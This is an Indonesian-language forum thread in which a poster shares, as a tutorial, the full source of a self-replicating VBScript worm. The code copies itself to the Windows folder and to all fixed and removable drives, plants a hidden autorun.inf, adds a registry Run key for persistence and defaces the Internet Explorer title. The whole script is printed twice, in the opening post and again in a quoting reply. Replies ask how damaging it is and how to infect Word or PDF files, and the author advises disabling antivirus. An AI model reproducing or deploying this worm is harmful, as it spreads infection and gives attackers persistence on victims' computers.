| | buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA |  |
|
+5DARK ANGEL OF CHEATER Mencaritemansezati Dimas Ridho W Ilham_A7X coolingboy 9 posters |
| Author | Message |
|---|
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
 |  Subject: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA  Mon May 09, 2011 6:50 pm | |
| Mungkin anda sudah mengenal apa itu virus VBS, Virus VBS adalah virus sederhana menggunakan bahasa Program (Visual Basic) yang bisa merusak dari tingkat kerusakan rendah sampai tinggi. Virus ini hanya bermodalkan pengetahuan akan bahasa Program dan aplikasi Notepad. Berikut adalah cara pembuatannya: 1. Buka Notepad 2. Copy dan Paste skript Berikut: - Spoiler:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Zeke Hack"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
3. Save as, ubah save as type menjadi "all files", simpan dengan format ".vbs", misal Hx.vbs. Virus ini dapat menggandakan sendiri pada semua Direktori termasuk Flash Disk. __________________________________________________________________ ----Gunakanlah Tutorial Dengan Bijak---- HANYA SEKEDAR MEMBAGI ILMUJANGAN LUPA 
Last edited by coolingboy on Mon May 09, 2011 9:32 pm; edited 1 time in total (Reason for editing : editing) | |
|
| | |
Ilham_A7X
Warga Lama
Jumlah posting : 233
Join date : 2011-05-02
Age : 26
Lokasi : di depan Computer
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Wed May 11, 2011 9:23 am | |
| Jahat nih tapi tetep  | |
|
| | |
Dimas Ridho W
Warga Lama
Jumlah posting : 52
Join date : 2011-05-14
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Fri May 20, 2011 3:00 am | |
| good thread…
ngomong - ngomong
tingkat kerusakannya sberapa?
tingkatnya masih yg rendah apa malah udh tinggi banjet | |
|
| | |
Mencaritemansezati
Warga
Jumlah posting : 10
Join date : 2011-05-31
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Wed Jun 01, 2011 10:21 am | |
| cara Matiinnya gimana gan..? | |
|
| | |
DARK ANGEL OF CHEATER
Super Moderator
Jumlah posting : 1248
Join date : 2011-04-12
Age : 26
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Sat Jun 18, 2011 7:57 pm | |
| ngerusak windowsnya sehabis di save atau hrs dibuka dulu. | |
|
| | |
Mencaritemansezati
Warga
Jumlah posting : 10
Join date : 2011-05-31
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Sun Jun 19, 2011 1:28 pm | |
| walah gan ane sedikit rada ngerti sekarang visual basic
klo cara infexi ke microst word or pdf katanya bisa
jadi pertanyanya gimana,? | |
|
| | |
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Sat Jul 16, 2011 10:12 am | |
| to all : jangan salahkan saya jika terjadi apa2...
disini sini saya hanya membagi ilmu,sekedar sharing saja... | |
|
| | |
Drw123
Warga Lama
Jumlah posting : 126
Join date : 2011-07-05
Age : 26
Lokasi : Bekasi
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Sat Jul 16, 2011 11:25 am | |
| Ini Seberapa Mematikan
N Cara Kerjanya Gimana Sih???
aku Pengen Tau Nih... | |
|
| | |
DARK ANGEL OF CHEATER
Super Moderator
Jumlah posting : 1248
Join date : 2011-04-12
Age : 26
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Sat Jul 16, 2011 4:25 pm | |
| - coolingboy wrote:
- to all : jangan salahkan saya jika terjadi apa2...
disini sini saya hanya membagi ilmu,sekedar sharing saja... itu kalau stlh dibuat dan disimpan otomatis aktif gak virusnya atau harus dibuka dulu tuh file vbsnya  | |
|
| | |
Alex_Njsg
Sesepuh
Jumlah posting : 390
Join date : 2011-01-10
Age : 33
Lokasi : Hidden
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Wed Aug 24, 2011 4:32 pm | |
| Gk work ini kurang "Path" sama "Run"  | |
|
| | |
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Wed Sep 21, 2011 4:18 am | |
| - DARK ANGEL OF CHEATER wrote:
itu kalau stlh dibuat dan disimpan otomatis aktif gak virusnya atau harus dibuka dulu tuh file vbsnya itu sudah otomatis aktif setelah disimpan.. monggo dicoba aja ^^ | |
|
| | |
Dewa Ninjasaga
Warga Lama
Jumlah posting : 233
Join date : 2011-04-08
Age : 29
Lokasi : CIREBON
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Wed Sep 21, 2011 2:43 pm | |
| - coolingboy wrote:
- Mungkin anda sudah mengenal apa itu virus VBS, Virus VBS adalah virus sederhana menggunakan bahasa Program (Visual Basic) yang bisa merusak dari tingkat kerusakan rendah sampai tinggi. Virus ini hanya bermodalkan pengetahuan akan bahasa Program dan aplikasi Notepad. Berikut adalah cara pembuatannya:
1. Buka Notepad
2. Copy dan Paste skript Berikut:
- Spoiler:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Zeke Hack"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
3. Save as, ubah save as type menjadi "all files", simpan dengan format ".vbs", misal Hx.vbs.
Virus ini dapat menggandakan sendiri pada semua Direktori termasuk Flash Disk.
__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----
HANYA SEKEDAR MEMBAGI ILMU
JANGAN LUPA ok aku coba dlu sob.... seberapa parah kom yg dagh kena nih virus sob.....??? thanks info na... | |
|
| | |
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Wed Sep 21, 2011 5:08 pm | |
| - Dewa Ninjasaga wrote:
ok aku coba dlu sob....
seberapa parah kom yg dagh kena nih virus sob.....???
thanks info na... ya monggo dicoba aja,, ane ga pernah nyoba gan,,,tapi rasakan sendiri efek nya itu  | |
|
| | |
zhunDha
Sesepuh
Jumlah posting : 309
Join date : 2011-08-04
Age : 26
Lokasi : Magelang
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Sun Oct 02, 2011 5:48 am | |
| gan kok gak Ada Efek Apa - Apa ya Di komputer Ane Udah Saya Coba Gan
NOTE : Saya Pakek Window 7 Ultimate | |
|
| | |
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA Mon Oct 31, 2011 1:19 pm | |
| - zhunDha wrote:
- gan kok gak Ada Efek Apa - Apa ya Di komputer Ane Udah Saya Coba Gan
NOTE : Saya Pakek Window 7 Ultimate disable dulu antivirus nya | |
|
| | |
Alex_Njsg
Sesepuh
Jumlah posting : 390
Join date : 2011-01-10
Age : 33
Lokasi : Hidden
| |
| | |
Sponsored content
| | Subject: Re: buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA | |
| |
|
| | |
| | buat virus VBS all...(awas mematikan) JUST SHARE...UNTUK ILMU AJA | |
|
